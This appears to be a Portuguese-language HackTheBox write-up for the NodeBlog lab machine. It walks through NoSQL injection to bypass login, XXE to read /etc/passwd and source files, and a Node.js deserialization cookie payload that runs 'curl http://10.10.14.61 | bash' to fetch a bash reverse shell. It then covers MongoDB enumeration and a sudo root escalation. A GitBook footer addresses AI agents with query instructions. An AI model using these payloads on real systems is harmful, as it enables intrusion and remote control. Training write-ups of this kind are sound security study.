> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md). # Relato do HackTheBox NodeBlog {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Injeção NoSQL (bypass de autenticação) * Leitura de arquivo via XXE * Ataque de desserialização em NodeJS (abuso de IIFE) * Enumeração do banco de dados Mongo {% endhint %} ## Reconhecimento **Verificação de conectividade da VPN** Verifique a conectividade da VPN para garantir comunicação estável com a máquina-alvo.
**Descoberta de portas abertas com Nmap:** Enumere as portas abertas e exporte os resultados para o arquivo "allPorts" no diretório do Nmap: ```bash nmap -p- --open -sS -n -Pn --min-rate 5000 -vvv 10.10.11.139 ```
Varredura de versão de portas com Nmap 22.5000 Use o Nmap para verificar as versões dos serviços e salvar a saída no arquivo "targeted": ```bash nmap -sCV -p22,5000 10.10.11.139 -oN targeted ```
### Análise da porta 5000 - Aplicação NodeJS
* Um painel de administração é descoberto. * O `admin` o usuário é válido.
## Vulnerabilidade de injeção NoSQL (bypass de autenticação) Interceptando a requisição com o Burp Suite.
Testar payloads clássicos de injeção: ```bash username=admin&password[$ne]=toto ``` Isso não funciona. Converter para JSON e alterar o `Content-Type` para `application/json`: ```sql { "user": "admin", "password": { "$ne": null } } ``` Resultado: autenticação bem-sucedida!
## Exploração da vulnerabilidade de injeção XXE
Envio de um arquivo TXT: recusado, apenas arquivos XML são aceitos. ``` Olá, isto é um teste ```
Formato exigido : ```xml Exemplo de Publicação Exemplo de Descrição Exemplo de Markdown ```
Enviando um arquivo XML contendo uma entidade externa para ler `/etc/passwd`: ```xml ]> Exemplo de Publicação Exemplo de Descrição &xxe; ``` Resultado: O conteúdo de `/etc/passwd` é exibido.
* Descoberta de um usuário `admin`.
Injeção para ler `/opt/blog/server.js` e identificar credenciais armazenadas.
```bash ]> Exemplo de Publicação Exemplo de Descrição &xxe; ```
## Aproveitando a desserialização do NodeJS * Foi descoberta uma função que desserializa cookies de sessão.
Criando um payload: {% code overflow="wrap" %} ```javascript {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ping -c 1 10.10.14.61', function(error, stdout, stderr) { console.log(stdout) }); }()"} ``` {% endcode %} Ouvindo o tráfego ICMP com: ```bash tcpdump -i tun0 icmp -n ``` * Codificação de URL:
{% code overflow="wrap" %} ```bash %7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%70%69%6e%67%20%2d%63%20%31%20%31%30%2e%31%30%2e%31%34%2e%32%38%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d ``` {% endcode %} Construção de uma RCE via codificação de URL e injeção em cookies.
```bash tcpdump -i tun0 icmp -n ```
### RCE - Vulnerabilidade de desserialização (nodejs) Criando um `index.html` script de shell reversa: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.61/443 0>&1 ``` Iniciando um servidor HTTP: ```bash python3 -m http.server 80 ``` Ouvindo: ```bash nc -nlvp 443 ``` #### Enviando o payload : {% code overflow="wrap" %} ```javascript {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('curl http://10.10.14.61 | bash', function(error, stdout, stderr) { console.log(stdout) }); }()"} ``` {% endcode %} * Codificação de URL: {% code overflow="wrap" %} ``` %7b%22%72%63%65%22%3a%22%5f%24%24%4e%44%5f%46%55%4e%43%24%24%5f%66%75%6e%63%74%69%6f%6e%28%29%7b%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%73%27%29%2e%65%78%65%63%28%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%34%2e%36%31%20%7c%20%62%61%73%68%27%2c%20%66%75%6e%63%74%69%6f%6e%28%65%72%72%6f%72%2c%20%73%74%64%6f%75%74%2c%20%73%74%64%65%72%72%29%20%7b%20%63%6f%6e%73%6f%6c%65%2e%6c%6f%67%28%73%74%64%6f%75%74%29%20%7d%29%3b%20%7d%28%29%22%7d ``` {% endcode %} Resultado: acesso à shell obtido.
### Flag user.txt :)
## Escalada de privilégios ### Enumeração do banco de dados Mongo
Conexão com o banco de dados MongoDB (porta 27017 aberta): ```bash mongo show dbs use blog show tables db.users.find() ```
* user: admin * senha : IppsecSaysPleaseSubscribe
### Sudo (ALL:ALL) Verificando privilégios do sudo: ```bash sudo -l ``` Resultado: o usuário admin pode executar `sudo su` sem uma senha.
Passagem para root : ```bash sudo su ```
### Flag root.txt :)
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/pt-br/writeups-ctf/hackthebox/linux-easy/nodeblog-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.